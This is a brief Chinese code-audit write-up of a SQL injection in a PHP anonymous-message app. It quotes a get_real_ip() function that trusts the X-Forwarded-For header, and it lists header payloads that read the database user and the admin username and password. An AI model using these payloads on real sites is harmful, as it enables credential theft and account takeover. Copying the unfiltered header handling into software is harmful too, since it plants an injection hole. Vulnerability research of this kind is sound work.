代码审计树洞X_FORWARDED_FOR注入
官网:https://yun.aoaoao.me/
/includes/function.php 36-52 行
function get_real_ip(){
$ip=false;
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i < count($ips); $i++) {
if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
获取HTTP_X_FORWARDED_FOR
HTTP_X_FORWARDED_FOR是可以用户自定义的
没做什么过滤 取出函数输出一波
看到输出就知道了一切(其实不看也知道)( ̄▽ ̄*)
全局查找get_real_ip() IP功能一般在用户登陆 注册 留言 这些是比较常见的
/includes/save.php 23-28 行
INSERT 注入原理我这里就不讲了
带上 ming 参数 (post)
构造payload
X-Forwarded-For: 1.1.1.1',user(),'0',1,1); #
ming=123
爆用户名: X-Forwarded-For: 1.1.1.1',(select username from sd_user where id=1),'0',uid,uid); #
爆密码: X-Forwarded-For: 1.1.1.1',(select pwdfrom sd_user where id=1),'0',uid,uid); #